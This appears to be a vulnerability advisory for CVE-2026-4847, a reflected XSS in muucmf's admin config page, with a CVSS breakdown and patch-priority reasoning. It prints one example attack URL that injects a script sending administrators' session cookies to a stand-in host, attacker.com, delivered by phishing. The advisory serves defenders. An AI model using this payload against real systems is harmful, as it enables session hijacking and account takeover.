Muucmf CVE-2026-4847

While the CVSS 3.1 base score of 4.3 appears moderate, the exploitation signals warrant careful attention. The vector breakdown (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N) indicates a network-accessible vulnerability with low complexity requiring only user interaction-a highly exploitable profile. The E:P and RC:R indicators confirm public exploit availability and reliable reproducibility. The absence of authentication requirements (PR:N) significantly increases real-world threat surface, as any internet user can craft malicious URLs targeting muucmf administrators. The fact that no vendor response was received and a public exploit has been published elevates this from a theoretical to an active threat. However, the limited scope (S:U) and lack of confidentiality or availability impact somewhat constrain damage, though integrity compromise via XSS in admin contexts can lead to system compromise through session hijacking or privilege escalation. This should be treated as a high-priority patch target despite the moderate base score, particularly for internet-facing deployments.

An attacker crafts a malicious URL such as 'https://target.com/admin/config/list.html?Name=<script>fetch(attacker.com/steal?cookie='+document.cookie+')</script>' and sends it via phishing email to muucmf administrators or embeds it in a compromised webpage. When an administrator clicks the link while logged into muucmf, the JavaScript executes in their browser, exfiltrating session cookies to the attacker's server, allowing account takeover. Because the attack requires only user interaction (not authentication) and has low complexity, the publicly available proof-of-concept significantly lowers the barrier to exploitation, making this a practical threat for phishing campaigns targeting organizations using muucmf.